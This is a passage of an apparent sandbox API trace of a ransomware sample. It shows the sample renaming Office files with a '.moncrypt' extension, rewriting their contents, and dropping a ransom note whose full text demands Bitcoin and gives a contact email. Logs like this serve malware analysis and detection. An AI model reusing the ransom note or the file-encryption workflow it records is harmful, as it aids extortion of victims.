returned 0 [0049.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.446] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0049.448] CloseHandle (hObject=0x188) returned 1 [0049.448] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\я")) returned 1 [0049.449] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 0x54e200 [0049.449] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0049.449] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0049.449] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.449] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", dwFileAttributes=0x20) returned 1 [0049.450] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0049.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt")) returned 1 [0049.451] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.451] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.451] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x2d7e [0049.451] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0049.451] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x2d7e, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x2d7e, lpOverlapped=0x0) returned 1 [0049.467] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.467] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.467] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.467] GlobalUnlock (hMem=0x44000c) returned 0 [0049.467] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0049.467] GlobalLock (hMem=0x44000c) returned 0x559b88 [0049.467] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.467] GlobalUnlock (hMem=0x440004) returned 0 [0049.467] GlobalHandle (pMem=0x559b88) returned 0x44000c [0049.467] GlobalUnlock (hMem=0x44000c) returned 0 [0049.468] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.468] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.468] GlobalUnlock (hMem=0x44000c) returned 0 [0049.468] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0049.468] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.468] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.468] GlobalUnlock (hMem=0x44000c) returned 0 [0049.479] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.479] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0049.479] CloseHandle (hObject=0x188) returned 1 [0049.480] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.moncrypt", dwFileAttributes=0x20) returned 1 [0049.480] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT猭杩敮⹤牸⵭獭") returned 34 [0049.480] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.480] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.480] GlobalUnlock (hMem=0x44000c) returned 0 [0049.480] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.480] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.480] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.480] GlobalUnlock (hMem=0x44000c) returned 0 [0049.480] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.480] GlobalUnlock (hMem=0x440004) returned 0 [0049.480] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.480] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x555b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69c88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x557b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.481] GetLastError () returned 0x2 [0049.481] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.481] WriteFile (in: hFile=0x188, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0049.482] CloseHandle (hObject=0x188) returned 1 [0049.482] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0049.482] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.482] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.482] GlobalLock (hMem=0x440004) returned 0x550170 [0049.482] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.482] GlobalUnlock (hMem=0x440004) returned 0 [0049.482] GlobalLock (hMem=0x440004) returned 0x550170 [0049.482] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.482] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.482] GlobalUnlock (hMem=0x440004) returned 0 [0049.483] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.483] GlobalUnlock (hMem=0x44000c) returned 0 [0049.483] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.483] CharLowerBuffW (in: lpsz="OSPPOBJS.DLL", cchLength=0xc | out: lpsz="osppobjs.dll") returned 0xc [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.483] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT猭杩敮⹤牸⵭獭") returned 34 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL", cchWideChar=92, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLLe", lpUsedDefaultChar=0x0) returned 92 [0049.483] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0049.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLLe", lpUsedDefaultChar=0x0) returned 4 [0049.484] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0049.484] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.484] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.484] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.484] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.484] GlobalUnlock (hMem=0x44000c) returned 0 [0049.484] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.484] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.484] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.484] GlobalUnlock (hMem=0x44000c) returned 0 [0049.484] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.484] GlobalUnlock (hMem=0x440004) returned 0 [0049.484] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.484] CharLowerBuffW (in: lpsz="OSPPREARM.EXE", cchLength=0xd | out: lpsz="ospprearm.exe") returned 0xd [0049.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.485] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT猭杩敮⹤牸⵭獭") returned 34 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", cchWideChar=93, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpUsedDefaultChar=0x0) returned 93 [0049.485] CharLowerBuffW (in: lpsz=".EXE", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0049.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE", lpUsedDefaultChar=0x0) returned 4 [0049.485] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0049.485] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.485] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.485] GlobalLock (hMem=0x440004) returned 0x550170 [0049.485] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.485] GlobalUnlock (hMem=0x440004) returned 0 [0049.485] GlobalLock (hMem=0x440004) returned 0x550170 [0049.485] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.485] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.485] GlobalUnlock (hMem=0x440004) returned 0 [0049.485] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.485] GlobalUnlock (hMem=0x44000c) returned 0 [0049.485] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.486] CharLowerBuffW (in: lpsz="OSPPSVC.EXE", cchLength=0xb | out: lpsz="osppsvc.exe") returned 0xb [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.486] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, 